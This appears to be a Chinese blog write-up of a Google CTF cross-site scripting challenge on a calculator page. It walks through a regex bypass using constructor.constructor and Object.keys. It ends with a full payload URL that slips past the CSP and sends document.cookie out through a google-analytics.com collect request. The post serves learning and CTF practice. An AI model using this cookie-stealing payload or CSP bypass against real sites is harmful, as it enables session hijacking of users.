googleCTF中一道xss题

下午刚好有时间,打算学一下绕csp的xss,然后看到了orange师傅的一道googleCTF题的wp,感觉挺有意思的,这里记录一下 题目地址:https://gcalc2.web.ctfcompetition.com/ 大概的就是这个是个计算器 blacsheep 下面的try it可以发一个report请求给admin,permalink可以查看链接,查看一下发现一个

1
https://gcalc2.web.ctfcompetition.com/?expr=&vars={"pi":3.14159,"ans":0}

尝试

1
https://gcalc2.web.ctfcompetition.com/?expr=vars.pi*3&vars={"pi":3.14159,"ans":0}

发现expr可以用vars里的东西 查看js发现调用部分

1
2
3
4
5
6
7
8
9
10
11
12
13
function p(a, b) {
a = String(a).toLowerCase();
b = String(b);
if (!/^(?:[\(\)\*\/\+%\-0-9 ]\bvars\b[.]\w+)*$/.test(a))
throw Error(a);
b = JSON.parse(b, function(a, b) {
if (b && "object" === typeof b && !Array.isArray(b))
return Object.assign(Object.create(null), b);
if ("number" === typeof b)
return b
});
return (new Function("vars","return " + a))(b)
}

这里会执行a,b作为匿名函数的参数 比如a="alert(b)",b="123"就会弹个123的窗 不过a会过一次正则,我们看一下正则 blacsheep 也就是说payload必须为

1.前面一块的字符 2.vars,两边为boundary 3.点+数字字母

Function类的最后一个参数会被执行,这里学到了新的xss技巧...可以用constructor.constructor(CODE)()来xss,比如说你有个vars的object,vars有个pi属性,然后下面这段代码会弹窗

1
2
3
4
5
6
7
8
9
10
11
12
13
// https://regex101.com/r/FLdJ7h/1
// alert(1)
// Remove whitespaces by yourself
vars.pi.constructor.constructor(
vars.pi.toString().constructor.fromCharCode(97)+
vars.pi.toString().constructor.fromCharCode(108)+
vars.pi.toString().constructor.fromCharCode(101)+
vars.pi.toString().constructor.fromCharCode(114)+
vars.pi.toString().constructor.fromCharCode(116)+
vars.pi.toString().constructor.fromCharCode(40)+
vars.pi.toString().constructor.fromCharCode(49)+
vars.pi.toString().constructor.fromCharCode(41)
)()

本来这样也就完成了攻击,但是function里面有个toLowerCase,导致不能用toString

1
2
3
4
function p(a, b) {
a = String(a).toLowerCase();
b = String(b);
...

然后orange师傅又想了一个payload

1
2
3
4
// https://regex101.com/r/IMXgwR/1
(1).constructor.constructor(
/1/.exec(1).keys(1).constructor.keys(vars).pop()
)()

这里前面用了constructor调出Object类,然后用keys(vars).pop()来获取vars的最后一个成员的key,我们从而可以通过vars来构造payload 第一版payload

1
https://gcalc2.web.ctfcompetition.com/?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()&vars={"pi":3.14159,"ans":0,"alert(1)":0}

blacsheep 不过到这里还并没有完 发现头部CSP

1
content-security-policy: default-src 'self'; child-src https://sandbox-gcalc2.web.ctfcompetition.com/

那么我们并不能把cookie打出去 不过后来发现 /static/calc.html的CSP

1
2
3
4
5
6
7
8
9
//https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html

content-security-policy: default-src 'self';
frame-ancestors https://gcalc2.web.ctfcompetition.com/;
font-src https://fonts.gstatic.com;
style-src 'self' https://*.googleapis.com 'unsafe-inline';
script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com;
child-src https://www.google.com/recaptcha/;
img-src https://www.google-analytics.com;

ok,发现可以用www.google-analytics 放一篇hackerone的提交报告 https://hackerone.com/reports/199779 然后google的console https://analytics.google.com/analytics/web/ 所以我们得以构造最后的payload

1
https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()&vars={"pi":3.14159,"ans":0, "x=document.createElement('img');x.src='https://www.google-analytics.com/collect?v=1&tid=UA-xxxxxxxxx-x&cid=xxxxxxxxx&t=event&ec=email&ea='+encodeURIComponent(document.cookie);document.querySelector('body').append(x)":0}

这里的tid和cid是你的跟踪id和用户id,自己修改 本来这里是可以直接拿到flag的,但是其实填了之后发现并没有发到后端 blacsheep 自己修改一下就可以了,chrome调试修改或者burp都行 blacsheep 改完让chrome发出去,然后post一个report,就可以拿到flag了 blacsheep